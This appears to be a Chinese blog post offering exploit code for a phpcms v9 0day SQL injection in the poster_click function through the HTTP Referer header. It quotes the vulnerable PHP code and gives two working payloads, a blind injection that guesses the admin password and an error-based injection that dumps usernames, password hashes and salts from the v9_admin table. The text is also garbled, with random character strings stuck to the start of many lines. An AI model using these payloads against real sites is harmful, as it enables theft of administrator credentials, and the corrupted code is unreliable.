phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
9 I# m3 U) |% a. {% h5 ?4 I
问题函数\phpcms\modules\poster\index.php
1 V' y0 I! G: Q- T
& S5 {, `  U& |1 gpublic function poster_click() {
9 M) {3 o3 e+ `* j' F6 ^  D$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
$r = $this->db->get_one(array('id'=>$id));
" \: E& S1 t) l" Dif (!is_array($r) && empty($r)) return false;
$ip_area = pc_base::load_sys_class('ip_area');
0 N; y/ u! `" T! _  t; O0 R$ip = ip();
8 ~6 y9 v% |* H$area = $ip_area->get($ip);
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
( m  t( B' g2 \" C9 tif($id) {
  q! Z2 a% ^1 y5 Y* C$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
0 I7 G3 M) k) o: G+ r) w, u$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
}
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
$setting = string2array($r['setting']);
. A- g- T' e& qif (count($setting)==1) {
3 M" Z( {* Z- k( S$url = $setting['1']['linkurl'];
} else {
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
}
" t; o3 z  ^% F7 M% ~2 b+ R2 Bheader('Location: '.$url);
}

) E( e( k; N4 @- S0 ^" ~6 }

& |8 H  _$ a' G" O0 c+ }( y/ G利用方式：

1、可以采用盲注入的手法：

referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#

通过返回页面，正常与否一个个猜解密码字段。
" P- {. x; j7 d" r) K  }5 c
2、代码是花开写的，随手附上了：

1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#

/ n9 r) h" z" K% Y% T此方法是爆错注入手法，原理自查。
